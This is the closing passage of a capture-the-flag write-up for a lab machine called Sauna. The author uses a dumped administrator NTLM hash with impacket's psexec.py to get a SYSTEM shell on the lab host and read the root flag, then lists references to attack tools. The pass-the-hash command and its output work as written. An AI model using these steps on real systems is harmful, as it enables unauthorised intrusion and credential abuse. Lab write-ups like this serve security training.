SAUNA$:des-cbc-md5:da0794d52c5eab5e
[*] Cleaning up... 

root in impacket/examples on  master via 🐍 v2.7.17 took 51s 
❯


Now that I have the administrator password hash, I can use psexec to log in as administrator:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

root in impacket/examples on  master via 🐍 v2.7.17 
❯ python psexec.py EGOTISTICALBANK/Administrator@10.10.10.175 -hashes aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff -target-ip 10.10.10.175
Impacket v0.9.21.dev1+20200305.180336.e0c1b9dd - Copyright 2020 SecureAuth Corporation

[*] Requesting shares on 10.10.10.175.....
[*] Found writable share ADMIN$
[*] Uploading file GWcAFdKS.exe
[*] Opening SVCManager on 10.10.10.175.....
[*] Creating service iwyN on 10.10.10.175.....
[*] Starting service iwyN.....
[!] Press help for extra shell commands
Microsoft Windows [Version 10.0.17763.973]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami & hostname
nt authority\system
SAUNA

C:\Windows\system32>

Grab the root.txt

Now that I’m the admin, I can get the root.txt.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

C:\Windows\system32>cd \Users\Administrator\Desktop
 
C:\Users\Administrator\Desktop>dir
 Volume in drive C has no label.
 Volume Serial Number is 489C-D8FC

 Directory of C:\Users\Administrator\Desktop

01/23/2020  04:11 PM    <DIR>          .
01/23/2020  04:11 PM    <DIR>          ..
01/23/2020  11:22 AM                32 root.txt
               1 File(s)             32 bytes
               2 Dir(s)   7,681,822,720 bytes free

C:\Users\Administrator\Desktop>more root.txt
04965c68

C:\Users\Administrator\Desktop>


If you liked my writeup, please leave a respect on my Profile

Payas0

References:

HarmJ0y/ASREPRoast
Project that retrieves crackable hashes from KRB5 AS-REP responses for users without kerberoast preauthentication enabled.
github.com
fortra/impacket
Impacket is a collection of Python classes for working with network protocols.
github.com
SpecterOps/BloodHound-Legacy
Six Degrees of Domain Admin
github.com
peass-ng/PEASS-ng
PEASS - Privilege Escalation Awesome Scripts SUITE (with colors)
github.com
fortra/impacket
Impacket is a collection of Python classes for working with network protocols.
github.com